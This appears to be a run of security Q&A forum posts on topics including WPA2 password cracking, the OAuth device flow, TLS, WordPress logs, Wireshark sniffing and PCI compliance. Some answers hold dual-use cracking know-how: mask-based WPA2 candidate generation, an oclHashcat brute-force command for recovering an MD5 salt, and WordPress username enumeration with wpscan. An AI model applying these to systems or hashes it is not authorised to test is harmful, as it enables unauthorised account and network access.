Generating passwords with rule: the contents within a 10 characters string must maintain a certain ratio of numbers and letters in no particular order I'm playing around with Kali and am looking to crack my WPA2 default password.

I started generating 10 character passwords with a charset of solely digits and upper alpha lastnight and after 10 mins, I had a 40gb text file and the first character was still "A".

It was generating a lot of redundancy so I thought if I could find some patterns in the auto-generated default ISP password then I could greatly reduce my scope of combinations.

In my research I noticed that all the passwords were 10 characters with a combination of 3-6 digits and 3-6 upper alpha.

So if I implement these rules, I could greatly reduce my scope and only be generating combinations that are relevant.

I've tried John the ripper and maskprocessor but I don't see rules for constructing combinations like this?

Are there other tools that allow these types of rules or perhaps features I'm unaware of in the tools mentioned?

Don't generate candidates external to the cracking tool if you can help it. Instead, let the cracking tool generate the candidates for you on-chip. This is much faster for faster hashes (but makes less of a difference for slow ones like bcrypt or WPA2).

If you have complex composition requirements, you can generate a list of masks instead (which can also be used on-chip in most attacks).


What is this user-friendly device registration process called? Logging in with a username/password can be annoying on non-keyboard devices (game consoles, Rokus, etc). Many media apps on these devices improve on this process by letting me activate my device on my account via these steps:

I download and open the app on my device. It displays a 6-character code.
I log into the web version on my laptop and go to a special device-activation page (e.g. https://secure.hulu.com/activate ).
The activation page has an input for the code displayed on my device. I enter the code in, and after that my device is associated with my account.

Is there a name for this protocol? I would like to implement it or find a library that implements it, but I don't know what it's called, if anything.

It's the OAuth 2.0 device code flow.  It goes something like this:

The device makes a request to the authorization server's device code endpoint
The authorization server responds with a code to show to the user and a URL where they should enter that code
The device displays the code and URL to the user
The device begins periodically polling the authorization server's token endpoint
The user visits the provided URL and provides their credentials along with the code given to them
The next time the device polls the authorization server's token endpoint the authorization server responds with an access token that the device can use to authenticate to the protected resource

Here's a diagram from the current draft RFC describing the flow:

  +----------+                                +----------------+
  |          |>---(A)-- Client Identifier --->|                |
  |          |                                |                |
  |          |<---(B)-- Device Code,      ---<|                |
  |          |          User Code,            |                |
  |  Device  |          & Verification URI    |                |
  |  Client  |                                |                |
  |          |  [polling]                     |                |
  |          |>---(E)-- Device Code,      --->|                |
  |          |          & Client Identifier   |                |
  |          |                                |  Authorization |
  |          |<---(F)-- Access Token      ---<|     Server     |
  +----------+   (& Optional Refresh Token)   |                |
        v                                     |                |
        :                                     |                |
       (C) User Code & Verification URI       |                |
        :                                     |                |
        v                                     |                |
  +----------+                                |                |
  | End user |                                |                |
  |    at    |<---(D)-- End user reviews  --->|                |
  |  Browser |          authorization request |                |
  +----------+                                +----------------+

                Figure 1: Device Authorization Flow

Since the device code flow is still just a draft, not a lot of OAuth 2.0 libraries have support for it, nor do all OAuth 2.0 identity providers.  Luckily the protocol is pretty straightforward, so it shouldn't be too hard to build from scratch given a decent HTTP library.  There's also a proxy server out there that can implement the device code flow on top of an existing OAuth 2.0 authorization server.


Is traffic sent by Mouse Without Borders encrypted? Some of our users have installed Mouse Without Borders and I wanted to know if it is possible to intercept the traffic being sent between the two computers and read it in some meaningful manner. I was looking at the PCAP file of the traffic between the two and I couldn't discern anything, but I also am not an expert at reading packets and there is no mention of encryption anywhere about Mouse Without Borders. If the traffic is readable somehow, then user's password and other sensitive information could easily be read.

From the support site, it says that communication is encrypted.

The comment is oblique and there is no overt indication in the documentation that things are encrypted. This is an example of the question being asked by others with no satisfactory answer.

From Wireshark, it LOOKS encrypted, but there is little from the developer on how.


Are short usernames a security concern? I was somewhat suprised that the sysadmin approved a one-letter username like "m" and my username is also short ("nik"). I think that if usernames are brute force attacked then the username should also be longer than just a few characters. Do you agree?

The username is not a secret; any determined attacker will be able to find out the names of users on your system.

What does improve your security, is if there is no remote access for "root", "guest", and similar account names found on many systems. In fact, Ubuntu explicitly disables the "root" account because it is such a favorite target.


What DH Group size do TLS Ephemeral DHE ciphers use? In SSL/TLS, the Client and the Server have the option to use an Ephemeral Diffie-Hellman exchange to establish a shared secret for which to seed the ensuing Master Secret and Session keys.

In the case of DHE being selected as the Key Exchange between two parties, how do they determine the DH ModP Group size (so that they can then agree upon a P and G number)?

With DHE cipher suites, the modulus size for DH is entirely chosen by the server, with no input from the client about acceptable sizes (this is indeed a defect in the TLS protocol with regards to DHE cipher suites).

Some historical clients (including the one shipped with Java up to and including Java 7) did not support DH modulus beyond 1024 bits. Thus induced some server implementations to stick to 1024-bit DH modulus. However, some others decided at some point that such sizes are too low. Apache+OpenSSL made that particular jump a few years ago; see this for details.

With ECDHE (the elliptic curve version), the elliptic curve to be used is still chosen by the server, but there is a ClientHello extension that allows the client to specify which curves it supports, thus allowing the server to make a truly informed decision.


Lastpass: Can we use more rounds of SHA-256 for decryption than user authentication? I'm new to computer security, there's one question I got confused. The book "Security in Computing" describe that "To protect the master password, the client uses a form of PBKDF2, salting the master password with random data and hashing it by using a large number (5001 by default) of SHA-256 rounds." for user authentication. and it described "The client derives the decryption key from the master password just as it did the login hash, but using one fewer SHA-256 round (5000 rounds instead of 5001)." for database decryption. I wonder if we can change make the opposite.
In particular, use 5001 rounds for decryption, but use 5000 rounds for authentication.
Hope someone can help me here, thank you!

I wonder if we can make the opposite. In particular, use 5001 rounds for decryption, but use 5000 rounds for authentication.

No you can't. Since LastPass uses the same salt for both authentication and key derivation, allowing this would be completely insecure.
To authenticate a user, LastPass has to store the authentication hash in its database. Now if the decryption key used more rounds than the password, then an attacker that obtained LastPass's user database could take the hash, perform another round of SHA-256 on it and they would have the decryption key. This would also mean that LastPass itself could decrypt any user's password database any time they wanted (which would violate LastPass's claims that the users' password databases are kept secret even from themselves.)


Have a CSR signed twice For a customer we need to order a SSL certificate, normally this would be done by their help-desk and we provide the CSR. But as the old certificate will expire soon, and their help-desk need about 7 days to order the new one, I would like to order one for them myself so the site wont go down.

Now, is it possible to have the same CSR signed twice? Once by my CA of choice and once by their CA of choice? Or do I need to regenerate a CSR for the help-desk?

Certificate Signing Requests are independent of the issuer at this point.

It only binds the requester information (including public key) together with a signature which prove the CSR has been made for a public/private key you do possess.

Any CA can then proceed to issue a certificate with this information.


Privacy implications of Intel CPU's secret 3G communication (Anti Theft 3.0) From what I understand pretty much all Intel CPUs produced since Sandy-Bridge have "secret" 3G capabilities in their IME (Intel Management Engine). This IME has full access to the memory bus and pretty much your whole computer and there is no way to see or block it from your OS.

That sounds incredibly scary to me, as I have literally no way of knowing if my data is being leaked or if malicious code is injected into my system. I mean I can't even be sure to be safe by unplugging my Ethernet cable.

Is it possible that Intel got an NSL and has been forced to implement a backdoor for the NSA? How likely does it seem that Intel is abusing this?
Can we disable the 3G connection?

First thing, first:  You'll want to invest in yet another Ethernet NIC adapter for your fancy Intel motherboard in which to replace your onboard Ethernet device with.

Most Ethernet NIC do not have IME.  This takes care of your biggest security fear, as long as you do not plug anything to that onboard Ethernet port.


Is it possible to find the salt? I have this PHP code with me :

$auth = md5($username.$password.$salt);

I have a dummy value :

$username = user
$password = password

And I also have the resulting MD5 Hash : b4fbb742bc2a24bc033dbfb4f4582e08

I need to find the salt which has been used. Is this possible in something like John The Ripper or Hashcat etc?

Generally yes, if you have enough time. If you know how long or in what format the salt is, it would help you. But the method is brute-force, as the any other hash-reversal:

oclHashcat -m=0 b4fbb742bc2a24bc033dbfb4f4582e08 -a=3 userpassword?1?2?2?2?2?2?2

I didn't test that, but documentation is certainly good place to start.


In order to trust the digital certificate, does immediate CA cert also needs to be in trust store or root CA cert is enough? In order to trust the digital certificate, does immediate CA certificate also needs to be in trust store or root CA certificate is enough?

You only need to trust the root CA, the intermediate (and other) certificates will be checked if they are signed by a trusted root CA, or a intermediate that is trusted by a root CA. If that root CA is trusted by you, all certificates signed with that will be trusted by you.

For example, when you have a chain [user] → [intermed-1] → [intermed-2] → [root], the verification is like this:
Does [user] have [intermed-1] as its "Issuer"?
Does [user] have a valid signature by [intermed-1]'s key?
Does [intermed-1] have [intermed-2] as its "Issuer"?
Does [intermed-1] have a valid signature by [intermed-2]'s key?
Does [intermed-2] have [root] as its "Issuer"?
Does [intermed-2] have a valid signature by [root]'s key
Since [root] is at the bottom of the chain and has itself as "Issuer", is it marked as trusted?

(snip from this answer)


How do I determine the algorithm used on an encrypted string? I have a Microsoft Access database which contains encrypted data:

When I copy-paste it, it looks like $  8F). How can I determine the used encryption algorithm?

How can I convert this to readable text???

The string you've posted is UTF-8, which translates to 24 09 16 38 12 16 46 29 in hexadecimal or JAkWOBIWRik= in Base64 encoding.

Now that you know the binary data in Base64, you can refer to this answer by Thomas Pornin which explains it rather well.


Is BSD more secure than GNU/Linux? BSD controls the OS while Linux is just a kernel. BSD is less popular than Linux, but which one is better in terms of security?

A secure OS is an OS that is maintained by a sysadmin who knows his job. This trumps everything else. So, basically, when the sysadmin knows all the internal details of BSD, and not of Linux, then BSD will be more secure than Linux. However, if the converse holds (sysadmin knows Linux better than BSD), then Linux wins.

In the quasi-mythical case where a given sysadmin would be equally good at BSD and Linux administration, then it might be construed that some specific characteristics of the two OS might tilt the overall security balance one way or another. For instance, one may say that the more confidential nature of the BSD systems implies a relative scarcity of published exploit, giving the sysadmin a small advantage over the hordes of not-very-competent attackers that know how to download exploits but do not know enough to adapt them to other systems. Since the situation of equal sysadmin competence in both systems cannot be achieved in practice, one may say that this kind of comparison is purely theoretical with no actual relevance.

Now of course I encourage you to try out both systems -- on your own test machines, of course. Trying out systems is a great way to build up sysadmin competence. But don't believe propaganda that claims that one system is more secure than others. What really matters is that some sysadmins are more competent than others.


Are these access.log entries successful wordpress login attempts? I am hosting some wordpress sites on an apache 2.4 webserver, and I have discovered thousands of entries in my server logs like this:

221.219.219.248 - - [09/Mar/2015:03:29:25 +1300] "GET /example.com/wp-login.php HTTP/1.1" 200 6656 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
221.219.219.248 - - [09/Mar/2015:03:29:26 +1300] "POST /wp-login.php HTTP/1.1" 302 644 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"

and tens of thousands of entries like this:

162.144.120.185 - - [13/Mar/2015:07:19:18 +1300] "POST /wp-login.php HTTP/1.0" 302 608 "-" "-"

In these cases the server is giving a 302 response, which looks to me like wordpress is redirecting them back to the login page, which indicates a failed login attempt.

then I saw entries like this

78.7.148.218 - - [14/Mar/2015:06:42:31 +1300] "POST /wp-login.php HTTP/1.1" 200 1695 "http://example.com/wp-login.php" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0"

where the HTTP response is a 200.

Did the brute force login attempts obtain passwords and are these actual successful  logins?

First of all, here is how it's handled by default when you visit the login page and try to log in:

POST /wp-login.php
[invalid credentials]
-> 200

POST /wp-login.php
[valid credentials]
-> 302

So it's the other way around than what you assumed. 302 means valid credentials (redirect to admin area), while invalid credentials result in 200 (stay on login page).

There are however various ways you can achieve a 302 without passing valid credentials. For example, you could add a POST field containing action=postpass, which would result in a cookie being set, and wp_safe_redirect (which by default uses 302) being called with the referer that was passed.

There are a lot of other actions that would result in a 302, for example action=register.

So while I can't say for sure that there were no successful bruteforce attempts, it could very well be that those 302 attackers are just scanning your website to check if your registration is open (possibly to register and then try to escalate their privileges). It could also be that their bruteforce tool is misconfigured.


Could an infected .iso file infect a PC that is running a disc burning or drive imaging program? I can't seem to find too much on this, but I'm worried after realizing I downloaded my Raspbian image from HTTP, and wrote it into a USB stick without verification.

I'm worried, especially since I don't trust the security of my family's router (though their modem seems to be fine, it's new and a recent Xfinity modem with maybe a custom password, maybe not on second thought, but still, at least it's recent) so I'm worried a remotely-accessing-the-router MITM attack could ruin my file.

And, after all that, I'm worried it'll infect my computer as it needs root permissions to write the .iso to a drive via Etcher. Etcher is Electron-based, so it might have some sandboxing, but I'm not sure. I'm not sure, but at the same time, it's just only copying and extracting the file and partition structure to a USB stick, not reading anything as far as I know, so I'm not sure.

That would require the disc writing software being vulnerable, and even if someone really tampered the image, the Raspberry Pi is a lot better target than trying to guess what software you use for burning the disc and how to efficiently take that in advantage.

For that, an attacker would have needed to know you were about to update your Raspberry Pi and that you are burning or downloading that image using a vulnerable software. That is highly unlikely. The effort is way too much compared to all the easier methods to get into your system. (Also, knowing all these prerequisites would mean he already has an access, making the effort unnecessary.)


Most secure location of database Let's say I have a straight forward completely database driven web site application and I store my database on my web server in the DMZ. I won't be broadcasting the IP address of my database because I won't be sending calls to it, which makes my database inaccessible to the outside world.

If I place my database on the internal network, and then place a web service hosting my data access layer on a separate application server in an internal sub network between the outward facing web site application server sitting in the DMZ and the database server in the LAN, isn't that simply broadcasting the location of my database, icluding the user login information?

Isn't the second method simply telling everyone in the outside world where my database is located?

It's a bad idea to host a database server on your internet facing webserver.

If the underlying OS of your web/DB server, or webserver platform itself contains any vulnerabilities that can be exploited then your database will be compromised.

  I won't be broadcasting the IP address of my database because I won't
  be sending calls to it, which makes my database inaccessible to the
  outside world.

This is not true. If your web application is vulnerable to SQL Injection it doesn't matter where your DB resides on the network, it will be directly accessible and exploitable from a client on the internet.

Ideally your application would be designed around an N-Tiered Architecture with each tier residing in a different DMZ. Preferably each tier would also contain network monitoring equipment to enforce protections and alert on suspicious activity. (WAF, IPS/IDS, Database Activity Monitoring, etc)

Image from: http://en.wikipedia.org/wiki/Multitier_architecture


How can hackers access WordPress usernames? Recently I've had brute force attack attempts on some of my WordPress sites and the attackers are using actual usernames other than the default admin (which was removed).

How is it possible for them to know the usernames in a site's database without administrator privileges? (assuming they didn't get it from me directly using malware)

What are ways to prevent this from happening?

btw: All of my sites use the current version of WordPress.

Thanks for your help!

There are open source tools such as wpscan, that allow for enumeration of wordpress usernames.

To stop it you could try something like this WordPress plugin which claims to be able to stop wpscan's username enumeration


Wireshark - I can't see traffic of other computer on the same network in promiscuous mode I am in promiscuous mode and I am using my one computer to sniff the network traffic. On both a separate computer and my phone I logged into the same http site and entered in some test credentials to see if the traffic would show up in wireshark. To my surprise it did not. I have done this many times before but for some reason it's not working for me now.

I can see that my other computers are on the network (if I ping them the ICMP packets will show up). I can't see any websites that they're visiting now though. I can only view web traffic that is coming from the laptop running wireshark.

Any thoughts/ideas as to why my wireshark is acting as if it is not in promiscuous mode? I have tried to turn off and on the promiscuous mode, restart wireshark, etc.

Edit:

All devices are connected to the same WLAN, no ethernet cables used to connect devices to router.

Wireshark has a setting called "promiscuous mode", but that does not directly enable the functionality on the adapter; rather it starts the PCAP driver in promiscuous mode, i.e. telling it to process packets regardless of their target address if the underlying adapter presents them. This is most noticeable on wired networks that use hubs instead of switches, where in non-promiscuous mode you will see only broadcast traffic and packets unicast to your adapter address, but in promiscuous mode you will see everything - in both cases your adapter is receiving every packet on the network, but in promiscuous mode the PCAP driver doesn't filter out packets not intended for your adapter.

Running a WiFi adapter in promiscuous mode requires some additional work and support by the driver. Normally a driver would implement only the necessary code to receive and process 802.11 frames intended for it to receive. For promiscuous mode to work, the driver must explicitly implement functionality that allows every 802.11 frame associated with the currently connected access point, intended for that receiver or not, to be processed. There's also another mode called "monitor mode" which allows you to receive all 802.11 frames regardless of which AP it came from. Both of these require explicit implementation.

Unfortunately, the devices which implement these are not cheap. At the moment I think only AirPCAP is fully supported for doing this kind of work, and it costs in excess of $500.

It's also worth noting that you can't sniff the network traffic of other users on a network which uses WPA2, as each client exchanges its own session key for encrypting the radio communications between it and the access point. You'll be able to sniff the 802.11 frame headers and some housekeeping packets, but the actual network payloads will be encrypted.


How would you characterize a cyber surface? Thinking through a network boundary characterization, say firewall/IDS flux. How some activity may change profile of that surface.

I believe the OP is referring to a concept I usually call "Attack Surface"

Attack surface is mental visualization tool used to picture the aggregation of all the various vectors an adversary might use or attempt to use to affect the confidentiality, availability or integrity of your data or systems.

To envision an attack surface one should visualize the system in question and the adversary.  An example of why both should be pictured: Imagine a remote adversary attacking a windows machine. He may be able to steal information from a device's memory by physically removing the drive and mounting it on system under his control, but we can exclude this vector from the attack surface because it is impossible without physical access.

If you think through each vector and imagine each of them taking up a physical amount of space you can envision it being harder to defend the larger that surface is.  For example image a soccer(football) goal that is twice as large as regulation size...it would be much easier to score against.  In this analogy you could think of preventative security controls as defenders that stand at the goal line as during certain penalty kick situations.  They are somewhat static but can significantly reduce the attack surface if positioned correctly. An example of a preventative control would be a firewall.

To imagine security monitoring controls imaging standing in a soccer(football) stadium and being unable to see the goal area because of a massive person standing in front of you.  If you had a camera that could see some portion of the goal you could monitor if a ball passed through that portion (and only that portion)..this would be a monitoring control such as an IDS.


programs or methods to review Internet browser applications for security I've been tasked with doing a security review on a Firefox update, but we don't have any utilities that we can find.

How would we go about running a security review on Firefox before pushing it to the other computers on the network?

This very much depends on what you mean by "security review".  From the comments I guess this was handled by a general sys admin rather than a specialist in the past, so it's perhaps likely that what you need is just a relatively high-level review.

The sorts of things you could check for relatively easily before sending out an update would be

Malware.  Ensure that there's no known malware in the downloaded software.  Either by running your in-house A-V software against it, or perhaps using a tool like Virus Total to check against multiple engines.
Checksums. Ensure that the downloaded software matches the checksums provided by the vendor, to indicate that it has not been modified in transit.  For firefox these can be found here


Storing bank account details securely I'm writing some software which has an invoicing component. Is it safe to store a bank account number and an associated sort code in a database if I use encryption? Can anything be stolen using just these two numbers?

The numbers have to be encrypted / unencrypted on the server in order to generate PDF documents.

They will be stored alongside email addresses, names and billing addresses which makes me slightly wary of doing it incase we are hacked.

What is the correct way to do this?

Well, if the decryption key has to reside on the same server as the encrypted data, the data isn't really encrypted (aside from when you store a backup of your database outside of your server, and separate from the key).

So, the usual applies:

Whatever info you make available publicly must be safe to give away. That means that you want to encrypt traffic (e.g. HTTPS, MySQL over TLS). You also want to encrypt your off-site backups (you're doing off-site backups, right?).


What protections exist on operating system clipboards? This is an operating system agnostic question. We are recommended to use password managers which encourage us to copy and paste our passwords. What protections exist if any to say a malicious website in another tab copying clipboard content?

What protections exist if any to say a malicious website in another tab copying clipboard content?

This is handled at the web browser level. There is no API by which a webpage can read the clipboard without explicit user interaction *. It would only be possible with a browser exploit, in which case you would probably have bigger problems.

* Obsolete IE versions had an option where this could be enabled, but it was not enabled by default.


SSL with both local client and server I'm not sure whether this topic belongs in Cryptography, Programming or StackOverFlow so please forgive me if I don't add a useful question to this site.

I want to give both server and client programs (.jar archives) to my users.

The SERVER is a mod for a game (has one server-id)
The CLIENT is a smartphone that is supposed to control the game by sending messages to the server (has one client-id)

I wanted to keep everything encrypted so I think SSL is a good choice.
Because the Server is actually not mine what I did was let the server create a self-signed certificate and store it

Because accepting any certificate can be exploited, e.g. the attacker could spoof the server-id of another server and my client app would send the internal password (not SSL related) to the attacker.
The attacker could now spoof the client-id and has control over a game

How should I implement the client so that it verifies and distinguishes servers by their certificate?

With most TLS implementations you just need to store the self signed certificate of the server in the trusted certificate store. You may have to add a specific option to the command line or API call to mark the certificate as trusted.

In that case the chain of the server certificate leads to a trusted certificate because the server directly uses the trusted certificate (i.e. a "chain" of one certificate).

You do need to establish trust before establishing the connection, e.g. by distributing the self signed certificate with your client application.


Generating temporary passwords/tokens using RNG In my web application I generate temporary tokens/passwords for accessing files using this method:

ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_"
ALPHABET_LENGTH = 64

def generate_token(str_len = 22)
   res = ""
   str_len.times{res << ALPHABET[rand(ALPHABET_LENGTH)]}
   res
end

Is there any vulnerability in generating tokens/passwords this way?

If it matters, a generated token lives 7 days.

Since it looks like you are using Ruby's default RNG, the Mersenne Twister, it is possible for an attacker to obtain the seed of the RNG, and therefore compromise all past, present, and future numbers generated by the algorithm using something like mt_derand. It is probably a better idea to use SecureRandom instead.


Domain and IP scoring What kind of things would you check in a domain and IP scoring system? Which things are the most important?

If I have a web site or web service, I would like to figure out a score for my visitor. If their score is below a certain score I will present them will extra security measures such as a CAPTCHA or block them altogether if the score is extremely low.

Which things are the most important?

Really you don't know very much from an IP address. First thing to note is that an ip address is not the same thing as a user - particularly (and increasingly) with ipv4 addresses. If you've got a significant amount of traffic and identifiable patterns of fraud then you can start building your own reputation database.

Some key points are:

don't use IP addresses - use netblocks from the whois lookup
it may be advantageous to differentiate by geography - at least at the country level - there are free lists of net blocks by country
beware of small networks (up to /10) they are usually servers not end users
if you've got an authentication mechansim, then track what netblocks individual customers use - apply additional authentication when accessed from a network not seen in the N interactions / the last M weeks for this custmoer
using reputation services may not have huge benefit - apart from spammer listings, these are usually populated by organisations running services which might be subject to big losses - if you're not running an online banking / payment system then you'll be targeted in a very different way
use the time (at the client) to determine risk (does customer A usually access the system between, say 11pm and 6am?)
if possible check the local time on the client matches the expected timezone for the IP address
watch out for multiple users from the same IP address - once a user has authenticated at an IP address, apply additional checks for the next X units of time for different users from the same IP address

I've not specified exact values for M, N and X - ideally these should be adjustable by network - differentiating between home ADSL/Cable providers, mobile network providers, overseas locations and others.

Track authentication failures - these are your first level of abuse detection.


What is "Client Isolation" called on wired networks? Wireless AP's commonly support a "Client Isolation" option to prevent wireless clients from communicating with each other.

Is this feature commonly supported on wired ethernet switches to prevent wired clients from seeing or communicating with each other? What is it called? Is this an advanced feature that's typically only available on "enterprise grade" switches, or can it be found in low-end Layer 3 managed switches as well?

The common term for port isolation on wired networks is Private VLAN.

However the term "port isolation" seems to be increasing in popularity with the rise of all-wireless client accesss networks, even when referring to wired networks. The "Private VLAN" term originated with Cisco, at a time when they had massive market share. That has changed in recent years as Cisco per-port market share has declined and networking has become more commodiized.


Is Dual Factor possible during boot with whole disk encryption on Mac FileVault 2 Mac FileVault 2 is the default disk encryption for newer Macs that occurs in the EFI pre-boot phase.  The challenge here is that most smartcard drivers are loaded after the OS loads.

Is anyone aware of OTP or smart card technology exists and is compatible with File Vault 2?

I checked the Apple support forums, but found nothing.  My hope is that government or other secure institutions can offer advice regarding this.

Unfortunately, it's not currently possible.

From: http://training.apple.com/pdf/WP_FileVault2.pdf

  Two-Factor Authentication

  As discussed earlier, when using FileVault 2 (FDE), the initial authentication takes place as part of the EFI pre-boot authentication
  process. At this very early stage of the boot phase, none of the
  OS-reliant services are able to load because they’re dependent on the
  OS running. This means that alternative authentication mechanisms
  other than password-based  authentication aren’t supported at this
  time.  Any support for additional two-factor authentication
  mechanisms, such as smart cards or one-time passwords (OTP), requires
  further development of those services in the highly restricted space
  and execution of EFI. If an organization needs to use smart cards for
  authenticating and unlocking access to encrypted storage, use of
  container-based Legacy FileVault should be examined more closely.


How dangerous is it not to load `seccomp` rules for (LXC) development containers? Many administrators turn off seccomp on their containerization platform in a trade-off with ease of use/application.

However turning off such a basic security setting that is so heavily tied to sandboxing is, to some extend, defeating the purpose of containerization. From a security/stability point of view I would think it to be wise to keep blacklisting most of the system calls when running the LXC/Docker containers on servers (as configured by LXC defaults in /usr/share/lxc/config/common.seccomp):

2
blacklist
[all]
kexec_load errno 1
open_by_handle_at errno 1
init_module errno 1
finit_module errno 1
delete_module errno 1

Questions

Does not 'loading seccomp rules for LXC containers' yield:

significant * security issues?
any other technical (application or stability) issues?

*Bonus question: What would be the risks when assuming one is the only one using the "mother" system and its LXC containers (e.g. in an experimental test laboratory, where it may be less evident to have multiple users, but containerization still offers many benefits such as easy snapshoting / cloning of experimental environments)?

Security is not a absolute thing as you seem to assume: no thing is dangerous by itself, things are only dangerous when considering a specific threat.

Security can only be defined against a set of precised and factual threats which may affect your platform intended use.

What you say in your question, as per my understanding, is that you do not plan to use LXC for security  purpose (ie. you do not rely on LXC to isolate a compromised application for instance), instead you rely on LXC solely for make cloning and snapshoting local personal experimental environments easier.

From that, the only thing that would matter is may the use of LXC decrease the security of the underlying system in any way: the answer is no, at worse LXC will provide no security benefits but it will not decrease the security of the underlying system (it will have merely the same effect as a chroot). Running an application on an LXC enabled machine will not be less secure that running the same application on the same system with no LXC.

Do not forget though that, if you use LXC to store complete Linux systems (which I think is the most common case), the same security hygiene rules applies both to the host and guests systems:

Do not use weak passwords,
Apply security updates,
Etc.

For a development machine, depending on your actual needs, the attack surface can be greatly reduced by preventing LXC hosted services from be reachable over the network. By keeping such application to listen only on local interfaces, you keep the ability to develop what you want while still ensuring that a remote attacker will not be able to leverage some flaw in your work or the underlying guest to access your system.

As per technical application / stability issues, I am not aware of anything particular. If you encounter any such issues, it should be dealt with individually either on Unix.SE or LXC mailing list for instance.


Detecting incorrect CA to prevent MitM attack My employer has deployed a fake root CA to my work laptop in order to carry out MitM style interception and inspection of HTTPS traffic.

It's straight-forward to determine whether HTTPS traffic to a particular site is being intercepted from the browser by inspecting the certificate and noting the dodgy CA, but is there any way of doing this on the server side? In other words, could I configure my web server to check whether the certificate that the browser sees is the same as the certificate provided by the web server?

If the server requires client certificate authentication then it will fail in case of intercepting proxy server. A tunneling proxy server will (most likely) work but it will be unable to decrypt the data.


Is this set-up PCI-Compliant? Question: Is there a way to store credit card information on a shared hosting server AND be PCI compliant?

Here is the setup:

1) SSL is being implemented for the whole checkout process and for the client's site's admin section.

2) The credit card information is being stored on the server (a shared hosting plan) in a MYSQL database. It is encrypted.

3) The client accesses a password protected admin panel and prints the credit card from her website.

4) The client then manually runs the credit card info through a terminal and deletes this credit card info from the server.

PCI compliance is a bit complicated. Firstly, with shared hosting, you need the provider you're on to meet all their relevant requirements. See Has anyone achieved PCI compliance on AWS?

Second, whoever has a terminal that is processing cards is responsible being complaint. It sounds like in this circumstance, you're not the processor and don't have an agreement with a credit card company. In that sense, you don't need to be compliant (HUGE caveat following)

However, the person with the terminal does need to be compliant, and everything they use in the process of handling cards (including you as a 3rd party) needs to achieve compliance. Compliance requires active review -- the depth of which depending on the volume of transactions handled.

Most critically, I wonder what circumstance you're in that you would be storing credit card numbers and not actually processing them.

PCI compliance has to do with volume of transactions processed. Smaller volume shops don't have to worry about a lot. Large volume companies are only PCI compliant if they meet all the standards specified and they are signed off on by a PCI council approved auditor. VISA, for example, specifies those as anyone handling 6 million transactions a year.

There's a guide for merchants at https://www.pcisecuritystandards.org/merchants/how_to_be_compliant.php


Main Reasons for GPG over hashing for verification I have recently been introduced to GPG signing as a better way of verifying data than hashing. It was described that if you posted the hash of the file, someone could hack your website, alter the hash and publish a different binary and you'd be non-the-wiser. GPG signing was a way to overcome this. I'm not entirely sure I understand the reasoning behind this.
For example, if someone were to hack your website, what is stopping them publishing a different public key registered with the same name/email as the previous key? Of course the date of the signing would be different, but how would you realistically know what it should be? This leads me to say why bother going through the process of using GPG for this purpose when hashing is much simpler? I must be missing something here as I see this practice used for large projects, e.g. SDL2 and libuv

As you have identified, hashing does not verify who created the data, but GPG signing does. You are also correct that an attacker could also put their own GPG keys next to the compromised download, and it would be no good to verify the download.
However, you would be protected in the following scenarios:

The key fingerprint can be confirmed somewhere else; perhaps on a different website or using an out-of-band method.
You previously had downloaded the correct GPG key and use it to verify.

In either scenario, you'd have the correct key, and the attacker's signature would not match, tipping you off to the potential compromise.
The key's signatures could also be examined. Perhaps you know the real keys are also signed by sponsor companies A and B. In this case, you could obtain company A and B's keys and verify that correct signatures exist. Since those companies may be separate entities, it is very unlikely that all keys were compromised simultaneously.


How can I be as anonymous as possible while on Tor? I've started browsing the deep web recently and have seen a lot of illegal content. Now while I have no interest in any of the illegal content, I don't want to be caught on one of these sights because of a misclick, clicking on a misleading link, or clicking on an unknown link and get in trouble. Plus I guess I would feel safer being anonymous.

Use an alternate identity. Browse on TOR using a public connection and computer that is wholly separate from your home network. A VPN to hide your location might be a good idea as well.

Do not mix your identities in any way shape or form.

That will give you the most anonymity.


Web vulnerability scanners with API I want to automate web vulnerability scanning and generate a HTML/PDF report.
Are there any WVS that offer a scanning and reporting API? If so, what are some examples?

Your questions is best answered by the Web Application Vulnerability Scanner Evaluation Project (WAVSEP). Take a look at chapter "3.3 Support for Crucial SSDLC Integration Features".

Concerning automation, the following categories will be most interesting to you, depending on the type of automation you are aiming for:

  Continuous Integration Support (BDD) - support for
  CLI/API/plugin-based scanning through external continues-integration /
  build-management software such as Jenkins. De-facto external support
  for scheduled scans.

  Selenium Import/Integration (TDD) - importing crawling results or
  otherwise integrating with selenium scan scripts.

  Periodic/Scheduled Scans - built-in scheduled scans (also possible
  through continues integration support through CLI/API/plugins)

Exporting results as HTML/PDF is a very common feature. This is not even explicitly mentioned in the benchmark data. I did a quick check for the commercial benchmarked tools and found the following:

AppSpider: HTML
Burp Suite: HTML, XML
Webinspect: PDF, HTML, RAW, RTF, TXT, XLS
AppScan: HTML, PDF
Acunetix: HTML, PDF
Netsparker: HTML, PDF
WebCruiser: no info found

Almost all of the commercial tools support HTML and/or PDF reports. It will be similar with the open source tools, but I leave this exercise to you.


RSA key length vs. Shor's algorithm I have just read a passage in Zeilinger's book about quantum world.

My question is:
Suppose there exist quantum computers. Given that a quantum computer can use Shor's algorithm,
what key length must a user use today for secure RSA encryption?

Any reasonably sized RSA key will be broken by a quantum computer of comparable size using Shor's algorithm. Don't use RSA if you want to resist quantum computers, no matter the keysize.

The only claim of a variant of RSA that survives are some slides by Bernstein mentioning a 2^43 bit RSA key consisting of 2^31 primes with 4096 bits each. This is obviously ridiculously impractical.

  Concrete analysis suggests that RSA with 2^31 4096-bit primes provides > 2^100 security
  vs. all known quantum attacks. Key almost fits on a hard drive.

If you want asymmetric cryptography that survives quantum computers, you should look elsewhere. For example code or lattice based cryptography are believed to be secure against QCs while having reasonable properties. pqcrypto.org gives a reasonable overview over the impact of QCs and which algorithm classes are useful as post-quantum cryptography schemes.


What ports should be closed in windows 10? How can I close ports in windows 10 and what ports are unnecessary to be open? How do I find these open ports to close?

Also if I close a specific port on windows 10 do I have to close the outbound and inbound port?

How can I close ports in windows 10 and what ports are unnecessary to
  be open?

You can either use embedded windows firewall to do that, or can use the firewall on the router, if it supports acls

  How do I find these open ports to close?

You can use this command:

netstat -an

Or you can use a port scanning software to find out what services are waiting for incoming connections on your PC.

